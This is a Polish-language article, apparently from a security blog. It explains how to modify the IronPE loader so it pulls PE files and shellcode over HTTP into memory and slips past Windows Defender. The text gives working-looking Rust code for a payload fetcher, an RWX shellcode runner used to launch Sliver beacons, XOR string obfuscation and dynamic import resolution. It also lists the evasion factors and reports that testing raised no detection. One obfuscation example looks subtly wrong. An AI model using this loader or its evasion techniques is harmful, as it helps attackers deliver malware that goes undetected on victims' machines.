Modyfikacja IronPE do ładowania plików PE w pamięć bez wykrycia przez Defender
Zmodyfikowany IronPE umożliwia ładowanie plików PE (EXE lub DLL) przez HTTP/HTTPS bezpośrednio do pamięci, omijając zapis na dysk. To pozwala obejść statyczną analizę Windows Defender dzięki braku artefaktów w systemie plików. Implementacja w Rust wykorzystuje ręczne mapowanie (manual mapping) z dynamicznym rozwiązywaniem importów i zaciemnianiem ciągów znaków.
IronPE pierwotnie służy do demonstracji mechanizmu ładowania PE bez standardowych API takich jak CreateProcess czy LoadLibrary. Modyfikacja dodaje sieciowe ładowanie ładunku i obsługę shellcode, zachowując legalne wywołania WinAPI.
Główne zmiany w kodzie
Ładowanie HTTP z reqwest
Do pobierania pliku PE z sieci zintegrowano blokującego klienta reqwest z User-Agent naśladującym przeglądarkę i limitem czasu 120 sekund.
fn fetch_from_url_reqwest(url: &str) -> Result<Vec<u8>, String> {
let client = reqwest::blocking::Client::builder()
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
.timeout(std::time::Duration::from_secs(120))
.build()?;
let response = client.get(url).send()?;
let bytes = response.bytes()?.to_vec();
Ok(bytes)
}
Uruchomienie: ./ironpe --x64 http://server/payload.exe. Bajty są ładowane do pamięci bez zapisu na dysk.
Obsługa shellcode
Tryb --shellcode alokuje pamięć RWX przez VirtualAlloc i kopiuje tam bajty do bezpośredniego wykonania. Nadaje się dla stagerów takich jak Sliver.
"--shellcode" => {
let bytes = read_file_or_url(&args[2])?;
let ptr = VirtualAlloc(None, bytes.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
std::ptr::copy_nonoverlapping(bytes.as_ptr(), ptr as *mut u8, bytes.len());
let thread = CreateThread(None, 0, Some(std::mem::transmute(ptr)), None, 0, None);
WaitForSingleObject(thread?, INFINITE);
}
Dynamiczne rozwiązywanie importów
IAT jest zminimalizowany: wszystkie funkcje (VirtualAlloc, LoadLibrary, GetProcAddress, CreateThread) są rozwiązywane w czasie wykonania. Brak statycznych odwołań do iniekcji lub dostępu do LSASS, co zmniejsza wykrywalność.
Zaciemnianie ciągów znaków
Nazwy DLL i funkcji są przechowywane jako bajty zaszyfrowane XOR. Odszyfrowanie następuje tylko podczas wykonania.
fn decrypt(s: &[u8], key: u8) -> String {
s.iter().map(|&c| (c ^ key) as char).collect()
}
let kernel32 = decrypt(b"\x4b\x4f\x4c\x4d\x4e\x5a\x5b\x2b", 0x2a);
Mechanizmy omijania statycznej analizy
Technika działa na Windows 11 25H2 z aktywnym Defender (real-time, chmura). Kluczowe czynniki:
- Brak dysku: ładunek (~30 MB Sliver beacon) nie jest zapisywany.
- Legalne API: VirtualAlloc, LoadLibrary itp. — standardowe dla instalatorów.
- Pusty IAT: dynamiczność ukrywa podejrzane wywołania.
- Rust: rzadki w złośliwym oprogramowaniu, mniej reguł YARA.
- Etap sieciowy: payload jest nieznany statycznemu skanerowi.
Zalety i ograniczenia
| Aspekt | Oryginalny IronPE | Modyfikacja |
|--------|-----------------|-------------|
| Ładowanie | Plik lokalny | HTTP/HTTPS |
| Shellcode | Nie | Tak, RWX |
| IAT | Częściowo dynamiczny | Pełna dynamiczność |
| Ciągi znaków | Zwykły tekst | Zaciemnianie XOR |
| Wykrycie Defender | Możliwe | Obejście statyczne |
W testach na VPS z serwerem Python (port 8081) sesja Sliver uruchamiała się bez powiadomień Defender.
Co jest ważne:
- Manual mapping + HTTP eliminuje sygnatury plikowe.
- Dynamiczne importy minimalizują ślad statyczny.
- Rust zmniejsza ryzyko sygnaturowe, ale nie behawioralne.
- Wymaga dopracowania dla EDR z monitorowaniem AMSI/ETW.
- Tylko do badań bezpieczeństwa.
— Editorial Team
Brak komentarzy.